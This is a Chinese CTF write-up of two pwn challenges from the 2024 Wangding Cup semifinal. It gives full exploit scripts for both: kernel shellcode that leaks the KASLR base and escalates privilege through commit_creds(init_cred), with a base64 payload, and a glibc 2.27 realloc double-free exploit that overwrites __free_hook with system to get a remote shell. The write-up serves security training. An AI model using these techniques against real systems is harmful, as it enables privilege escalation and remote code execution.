2024网鼎杯半决赛-pwn
默文 发表于 浙江 CTF 241浏览 · 2024-11-25 11:56

2024网鼎杯半决赛pwn

附件:https://pan.quark.cn/s/295648301d7c

pwn2-kernel_shellcode

前言:比赛的时候也是犯蠢了,shellcode什么都可以做没注意到两个内核版本的差异,我还诧异一个code两个内核执行不是相同结果吗,属实是给自己蠢到了,题目并不难主要关键是题目理解

使用python脚本来进行交互,使用subprocess启动内核这就会导致再怎么提权怎么输出flag都不能绕过这个python这层交互

再最开始的时候就疑惑为什么输入一个code两个内核执行不是相同的结果吗,始终在怎么提权反弹shell做文章后面发现异想天开了。

在vir1中内核版本为6.5.8

在vir2中内核版本为6.6.56

两个内核版本不相同这个很重要

ko文件都为shellcode执行,但是会先做一个寄存器清除的操作

寄存器清除

通过main可执行文件对驱动写入shellcode,然后在内核中写入shellcode后返回来,主要我们通过内核的shellocde完成提权并且恢复后正常返回程序,就能完成输出flag的操作

如果不恢复rbp会导致段错误

cpu_entry_area地址上存放着存放的内核基地址,并且cpu_entry_area不受kaslr影响,始终固定。

使用这个固定地址泄露出来kbase

因为两个内核偏移不固定,使用entry_SYSCALL_64来判断跳转哪个shellcode,跳转之后先commit_creds(init_cred)提权然后使用swapgs_restore_regs_and_return_to_usermode返回栈上预留的地址

本地输出效果

exp

SInlSLgEAAAAAP7//0yLOEmB7wCOgABIx8AAAIAATAH4izCB5v//AACB7vMPAACF9nUkSMfHIAPkAEwB/0jHxsAuCgBMAf5Ix8LQFYAATAH6SIPCFusxSYHHAI6AAEmB7wCOoABIx8fgBQQBTAH/SMfG0A8LAEwB/kjHwnAWoABMAfpIg8IxkEiBxIAAAABIi2wkGGoAagBSVsM=

import base64
from pwn import*
context.arch='amd64'


protect_addr=0xfffffe0000000004
kbase_offset1=0x808e00
kbase_offset2=0xa08e00
entry_SYSCALL_64_offset1=0x800000
entry_SYSCALL_64_offset2=0xa00080
swapgs_offset=0x008015d0
swapgs_offset2=0x00a01670
init_cred_offset=0x00e40320
init_cred_offset2=0x010405e0

commit_creds_offset=0x000a2ec0
commit_creds_offset2=0x000b0fd0
rop_offset=0xCB0787
shellcode_all=f"""

    mov rbp,rsp
    mov rax,{protect_addr}
    mov r15,qword ptr [rax] 
    sub r15,{kbase_offset1} ;r15=kbase

    mov rax,{entry_SYSCALL_64_offset1}
    add rax,r15 ;rax=entry_SYSCALL_64
    mov esi, dword ptr [rax]
    and esi,0xffff
    sub esi,0xff3
    test esi,esi
    jne kernel2

kernel1:
    mov rdi,{init_cred_offset} ;rdi=init_cred
    add rdi,r15
    mov rsi,{commit_creds_offset} ;rsi=commit_creds
    add rsi,r15
    mov rdx,{swapgs_offset} ;rdx=swapgs
    add rdx,r15
    add rdx,0x16
    jmp ret2user
kernel2:
    add r15,{kbase_offset1}
    sub r15,{kbase_offset2}  ;r15=kbase
    mov rdi,{init_cred_offset2} ;rdi=init_cred
    add rdi,r15
    mov rsi,{commit_creds_offset2} ;rsi=commit_creds
    add rsi,r15
    mov rdx,{swapgs_offset2} ;rdx=swapgs
    add rdx,r15
    add rdx,0x31
    nop
ret2user:
    add rsp ,0x80
    mov rbp, qword ptr [rsp+0x18]
    push 0
    push 0
    push rdx
    push rsi
    ret
"""


sh_all=asm(shellcode_all)
print("base64_all:")
print(base64.b64encode(sh_all))

pwn1-realloc

题目不难,只要知道realloc的具体用法就行

realloc(void* ptr, size_t size)

四个功能:

1、ptr==nullptr,相当于malloc(size)

2、size==0,相当于free(ptr)

ptr=realloc(0,0x50)
realloc(ptr,0)

3、ptr_size<size(原来chunk大小<申请大小),

(1)如果后面的空闲空间足够会直接扩充,返回原本ptr指针

这个时候申请回0x60的chunk然后,用realloc(ptr,0x80),会造成堆覆盖问题,可以修改chunk大小以及fd,bk指针

(2)如果不够,会释放ptr指针,重新申请,返回申请后的指针

4、ptr_size>size(原来chunk大小>申请大小)

(1)截断大小>minchunk_size,会直接截断后面多余部分并释放,返回原来ptr指针

(2)截断大小不足以释放,返回原来ptr指针不做释放操作

set_info的时候对data->ptr指针使用了realloc,并且后面内容可控,这个就容易造成double free的情况,在没有对指针判断下使用realloc危险很大

使用get_info的时候也没有判断,直接泄露出来libc地址

给了init的操作,就算指针被搞的很乱,一键还原后再布置即可

再查看glibc版本的时候发现为2.27最低版本,这个时候tcache机制刚出现,没有任何检查,直接多次释放object不会报double free错误

通过realloc对同一个chunk进行释放,然后写入free_hook劫持

exp

import time
from pwn import *
from ctypes import *
from LibcSearcher import *

RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m' 
RESET = '\033[0m' 
u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
dir  =    lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
def int_fix(p,count=12):
    p.recvuntil(b'0x')
    return int(p.recv(count),16)


FILENAME='../pwn1'
elf=ELF(FILENAME)
libc=elf.libc

debug =1
context.arch='amd64'

if debug == 0:
    argv=['aa']
    p=process([FILENAME]+argv)
if debug == 1:
    p = remote('173.41.81.110',8888)



def command(option):
    p.recvuntil(b'>>')
    p.sendline(bytes(str(option),'utf-8'))


def shuffle():
    command(5)

def edit(count,range,level,Content):
    command(2)
    p.recvuntil(b'count')
    p.sendline(bytes(str(count),'utf-8'))
    p.recvuntil(b'range')
    p.sendline(bytes(str(range),'utf-8'))
    p.recvuntil(b'level')
    p.sendline(bytes(str(level),'utf-8'))
    if(Content==b'no'):return
    p.recvuntil(b'set')
    p.send(Content)
def show_cards():
    command(5)
def get_info():
    command(3)
def init_card():
    command(1)
flags_str=b'\xe2\x99\xa5\xe2\x99\xa0\xe2\x99\xa6\xe2\x99\xa3\x00'
edit(0x110,1,0x660,b'a')

edit(0,1,0x661,b'no')
get_info()

libc_addr=u64_fix(p)
libcbase=libc_addr-0x3ebca0
dir("libcbase")

init_card()

edit(len(flags_str)+8,1,0x662,flags_str)
edit(0,1,0x662,b'no')
edit(0,1,0x662,b'no')



free_hook=libcbase+libc.symbols['__free_hook']
system_add=libcbase+libc.symbols['system']
edit(len(flags_str)+8,0,0xdead,p64(free_hook))



init_card()
edit(len(flags_str)+8,1,0x662,flags_str)


init_card()
edit(len(flags_str)+8,1,0x662,p64(system_add))

init_card()
edit(len(flags_str)+8,1,0x662,b'/bin/sh\x00')
edit(0,1,0x662,b'no')

p.interactive()
0 条评论
某人
表情
可输入 255